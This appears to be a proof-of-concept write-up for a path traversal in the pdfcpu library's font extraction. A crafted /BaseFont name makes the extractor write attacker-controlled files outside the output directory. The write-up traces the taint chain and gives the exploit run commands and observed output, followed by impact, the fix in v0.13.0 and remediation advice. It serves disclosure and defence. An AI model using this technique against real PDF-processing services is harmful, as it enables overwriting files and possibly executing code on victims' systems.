## https://sploitus.com/exploit?id=7542FDA4-413F-5316-932F-00D80A315372
# pdfcpu β Path Traversal β Arbitrary File Write in font extraction (PoC)
**Zip-Slipβstyle path traversal** in [`pdfcpu`](https://github.com/pdfcpu/pdfcpu).
The font-extraction feature builds the output filename from a PDF font's
`/BaseFont` value (or the `/Name` value for Type3 fonts) **without any
sanitization**. A crafted PDF whose `/BaseFont` contains `../` sequences makes
`os.Create()` write the embedded font file **outside** the caller-specified
output directory β arbitrary file write with attacker-controlled contents.
> Not a ZIP archive, but the mechanism is identical to Zip-Slip: embedded content
> is extracted to disk under an attacker-controlled member name that escapes the
> target directory. The root cause is a classic path traversal (CWE-22).
- **Vulnerability class:** CWE-22 β Improper Limitation of a Pathname to a
Restricted Directory ('Path Traversal') β arbitrary file write
- **Affected:** `github.com/pdfcpu/pdfcpu` **β€ v0.12.1**
- **Fixed in:** **v0.13.0** β commit
[`21f8b3b`](https://github.com/pdfcpu/pdfcpu/commit/21f8b3bd585923e38316efa16e0cd7b26b79e79f)
introduced `pkg/pdfcpu/sanitize`; all filename parts now pass through
`sanitize.Path`, which strips path separators and `.`/`..` segments.
- **Sink:** `writeFonts()` in `pkg/api/extract.go`
- **Trigger (CLI):** `pdfcpu extract -mode fonts attacker.pdf ./out/`
- **Trigger (API):** `api.ExtractFontsFile` / `api.ExtractFonts`
## Taint chain
```
/BaseFont value in the PDF
β font.Name() pkg/pdfcpu/font/fontDict.go (only strips the "ABC+" subset prefix)
β FontObject.FontName pkg/pdfcpu/optimize.go (optimizeFontResourcesDict)
β Font.Name pkg/pdfcpu/extract.go (ExtractFont)
β writeFonts() pkg/api/extract.go:
outFile := filepath.Join(outDir,
fmt.Sprintf("%s_%s.%s", fileName, f.Name, f.Type)) // f.Name is unsanitized
os.Create(outFile) // writes /tmp/pdfcpu_zipslip_pwned.ttf (OUTSIDE ./out)
cd exploit && go run . malicious.pdf ./out
# 3. patched version -> writes ./out/malicious_tmp_pdfcpu_zipslip_pwned.ttf (contained)
cd ../patched && go run . ../exploit/malicious.pdf ./out
```
### Observed
```
v0.12.1: [+] CONFIRMED -> /tmp/pdfcpu_zipslip_pwned.ttf (139 bytes, attacker content)
v0.15.0: [-] no escape -> out/malicious_tmp_pdfcpu_zipslip_pwned.ttf
```
## Impact
Arbitrary file write with attacker-controlled contents at an attacker-chosen path
(bounded by the process's permissions). Depending on the victim's environment
this can overwrite config/scripts or drop files into autostart/`cron`/web-root
locations, and may lead to code execution. Any service that extracts fonts from
user-supplied PDFs on an affected version is exposed.
## Remediation
Upgrade to **β₯ v0.13.0**. If pinned to an older release, sanitize every untrusted
filename component before joining: reject/rewrite path separators and `..`, and
verify the final cleaned path stays within the intended output directory, e.g.
`strings.HasPrefix(filepath.Clean(outFile), outDir+string(os.PathSeparator))`.
> Note: even on patched versions the low-level `pdfcpu.ExtractPageFonts` /
> `ExtractFont` still return the raw, unsanitized `Font.Name`. Callers that build
> their own paths must sanitize it themselves.
## Disclosure
The issue was previously surfaced in a public security audit
([pdfcpu#1350](https://github.com/pdfcpu/pdfcpu/issues/1350), finding #6) and
silently fixed in v0.13.0. This repository provides a reproducible PoC and a
side-by-side vulnerable/patched comparison.